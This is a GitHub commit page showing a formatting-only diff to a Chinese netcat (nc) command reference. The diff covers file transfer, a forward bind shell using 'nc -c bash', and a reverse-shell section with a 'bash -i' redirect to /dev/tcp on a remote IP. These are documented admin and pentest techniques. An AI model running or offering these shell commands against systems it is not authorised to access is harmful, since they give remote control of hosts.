Skip to content

Commit

Permalink
Update nc.md (#409)
Browse files Browse the repository at this point in the history
  • Loading branch information
jaywcjlove committed Aug 30, 2022
1 parent 248fadc commit 8a152e3
Showing 1 changed file with 6 additions and 4 deletions.
10 changes: 6 additions & 4 deletions command/nc.md
Original file line number Diff line number Diff line change
Expand Up @@ -76,19 +76,18 @@ nc -lp 8888 > node.tar.gz

# 传输方发文件:
nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz

注意:192.168.75.121是接收方的ip地址。
# ⚠️ 注意:192.168.75.121是接收方的ip地址。
```

```shell
# 如果希望文件传输结束后自动退出,可以使用下面的命令:
nc -lp 8888 > node.tar.gz
nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz

注意:-i 表示闲置超时时间
# ⚠️ 注意:-i 表示闲置超时时间
```

**远程控制**

```shell
# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。
# 被控制端执行下面的命令:
Expand All @@ -106,10 +105,13 @@ nc 192.168.75.121 8888 -c bash
```

**反弹shell**

```shell
# 控制端执行下面的命令:
nc -lvnp 8888
```

```
# 被控端执行下面的命令:
bash -i &> /dev/tcp/192.168.75.121/8888 0>&1
```
Expand Down

0 comments on commit 8a152e3

Please sign in to comment.